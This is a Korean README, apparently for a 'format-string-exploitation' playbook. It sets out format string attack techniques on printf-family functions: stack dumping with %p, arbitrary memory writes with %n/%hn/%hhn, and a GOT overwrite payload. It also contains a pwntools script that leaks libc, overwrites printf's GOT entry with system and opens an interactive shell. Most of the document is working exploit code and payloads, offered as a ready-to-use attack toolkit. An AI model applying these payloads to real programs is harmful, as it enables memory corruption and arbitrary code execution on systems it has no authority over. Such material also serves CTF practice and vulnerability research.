format-string-exploitation은(는) 무엇을 하나요?
포맷 문자열 취약점 공격 플레이북입니다. printf 계열 함수가 사용자 제어 가능한 포맷 문자열을 받아 임의의 스택 읽기(%p/%s), 임의의 메모리 쓰기(%n/%hn/%hhn), GOT/후크 덮어쓰기, 카나리/libc/PIE 누출이 가능할 때 사용합니다.
사용법
기본 읽기 (스택 값 덤프)
# printf("%x.%x.%x...") 공격
./vuln 'AAAA.%p.%p.%p.%p.%p.%p'
직접 매개변수 접근 ($)
# 6번째 매개변수부터 직접 읽기
./vuln 'AAAA.%6$p.%7$p.%8$p'
문자열 읽기 (%s)
# 특정 주소의 문자열 읽기 (주소를 스택에 배치 필요)
./vuln '\x20\x10\x40\x00%7$s'
메모리 쓰기 (%n)
# 4바이트 쓰기
./vuln '\x20\x10\x40\x00%100x%7$n'
# 2바이트 쓰기 (%hn)
./vuln '\x20\x10\x40\x00%100x%7$hn'
# 1바이트 쓰기 (%hhn)
./vuln '\x20\x10\x40\x00%100x%7$hhn'
GOT 덮어쓰기
# printf의 GOT 주소를 system 함수의 힌주소로 덮어씀
./vuln '\x24\x98\x04\x08\x26\x98\x04\x08%33732x%7$hn%43868x%8$hn'
지원 환경
| 아키텍처 | 운영체제 | 보호 기법 |
|---|---|---|
| x86 (32비트) | Linux, Windows | NX, ASLR, PIE, 스택 카나리 |
| x64 (64비트) | Linux, Windows | NX, ASLR, PIE, 스택 카나리 |
주요 기법
- 스택 읽기:
%p,%x,%s를 사용하여 스택과 힙 메모리 덤프 - 주소 누출:
$직접 매개변수 접근으로 ASLR, PIE, libc, 카나리 주소 획득 - 임의 쓰기:
%n,%hn,%hhn을 사용하여 임의의 메모리 위치에 값 쓰기 - GOT 덮어쓰기:
printf,puts,exit등의 GOT 엔트리를system또는 원샷 가젯으로 덮어씀 - 고급 공격: 오프바이원(off-by-one) 또는 힙 오버플로우와 결합한 다단계 공격
예제
32비트 ELF 바이너리 공격
#!/usr/bin/env python3
import sys
from pwn import *
# 바이너리 설정
binary = ELF('./vuln32')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# 프로세스 연결
p = process(binary.path)
# 1단계: PIE와 libc 누출
p.sendline(b'%7$p.%9$p')
leaks = p.recvline().strip().split(b'.')
stack_leak = int(leaks[0], 16)
libc_leak = int(leaks[1], 16)
# 2단계: 주소 계산
libc_base = libc_leak - libc.symbols['__libc_start_main'] - 0xf7
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# 3단계: printf GOT 덮어쓰기
printf_got = binary.got['printf']
print(f"[*] libc base: {hex(libc_base)}")
print(f"[*] system: {hex(system_addr)}")
print(f"[*] /bin/sh: {hex(binsh_addr)}")
print(f"[*] printf GOT: {hex(printf_got)}")
# 익스플로잇 페이로드 구성
payload = fmtstr_payload(7, {printf_got: system_addr})
p.sendline(payload)
# 쉘 획득
p.interactive()
참고 자료
라이선스
MIT